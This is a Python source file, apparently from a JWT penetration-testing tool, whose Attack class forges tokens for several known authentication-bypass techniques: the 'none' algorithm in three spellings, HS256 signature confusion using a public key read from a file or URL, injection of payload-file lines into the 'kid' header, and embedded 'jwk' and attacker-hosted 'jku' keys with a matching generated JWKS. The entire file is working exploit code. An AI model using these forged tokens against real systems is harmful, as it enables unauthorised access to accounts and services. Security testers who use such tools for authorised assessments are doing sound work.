Attack.py

import json

import utils
from TestJWT import TestJWT
from utils import read_file

from cryptography.hazmat.primitives.asymmetric.rsa import (
    RSAPublicKey, RSAPrivateKey
)


class Attack:

    def __init__(self, ser_jwt):
        self.payloads = {}
        self.ser_jwt = ser_jwt

    def init_token(self, jwt: TestJWT = None):
        return TestJWT.deserialize(self.ser_jwt)

    def attack_none(self, jwt: TestJWT = None):
        """
        Modifies algorithm from jwt and replaces it with none, None and NONE
        :param jwt: (optional) jwt to use
        :return: map with the different payloads, the key is the name of the modification,
        the JWT payload is the value
        """
        if jwt is None:
            jwt = self.init_token()

        jwt.set_algorithm('none')
        self.payloads['attack_alg_none'] = utils.force_unicode(jwt.build_token())
        jwt.set_algorithm('None')
        self.payloads['attack_alg_None'] = utils.force_unicode(jwt.build_token())
        jwt.set_algorithm('NONE')
        self.payloads['attack_alg_NONE'] = utils.force_unicode(jwt.build_token())

    def attack_signature_deception(self, url, jwt: TestJWT = None):
        """
        Modifies algorithm from jwt and replaces it with HS256. Provided url is used to compute the signature
        :param jwt: (optional) jwt to use
        :param url: the contents of the URL are use to sign the
        """
        if jwt is None:
            jwt = self.init_token()
        secret = read_file(url, strip_newline=False, join_lines=True)
        jwt.set_algorithm("HS256")
        self.payloads['attack_signature_deception'] = jwt.build_token(secret)

    # TODO attack bruteforce HS256 ?

    def attack_payload(self, payload_file: str):
        lines = read_file(payload_file, join_lines=False)
        header, payload, signature = TestJWT.split_jwt(self.ser_jwt)
        header = json.loads(utils.base64url_decode(header))
        inj_headers = [inject_in_json(header, line) for line in lines]
        for index, inj_header in zip(range(1, 1 + len(inj_headers)), inj_headers):
            self.payloads["attack_payload_{}".format(index)] = ".".join(
                [utils.force_unicode(inj_header), payload, signature])

    def attack_pubkey_deception_jwk(self, pk: RSAPrivateKey, kid: str, jwt: TestJWT = None):
        if jwt is None:
            jwt = self.init_token()
        pubkey: RSAPublicKey = pk.public_key()
        jwk = utils.rsa_pubkey_to_jwk(pem_file=None, key_id=kid, pubkey=pubkey)
        jwt.header['jwk'] = jwk
        jwt.header['jwk']['use'] = "sig"
        del (jwt.header['jwk']['alg'])
        self.payloads['attack_pubkey_deception_jwk'] = utils.force_unicode(jwt.build_token(pk))

    def attack_pubkey_deception_jku(self, pk: RSAPrivateKey, jku_url, jwt: TestJWT = None, kid=None):
        if jwt is None:
            jwt = self.init_token()
        print ("jwt {}".format(jwt))
        jwt.header['jku'] = jku_url
        if kid is not None:
            jwt.header['kid'] = kid
        self.payloads['attack_pubkey_deception_jku'] = utils.force_unicode(jwt.build_token(pk))

        pubkey: RSAPublicKey = pk.public_key()
        jwks = {}
        jwks['keys'] = [utils.rsa_pubkey_to_jwk(pem_file=None, key_id=kid, pubkey=pubkey)]
        self.payloads['attack_pubkey_deception_jku_jwks'] = json.dumps(jwks, separators=(",", ":"))

    def print_payloads(self):
        for attack in self.payloads.keys():
            if attack != 'attack_pubkey_deception_jku_jwks':
                print("#{}\n{}".format(attack, self.payloads[attack]))


def inject_in_json(header: dict, payload: str):
    key = header['kid']
    if key is not None:
        header['kid'] = payload
    return TestJWT.build_section(header)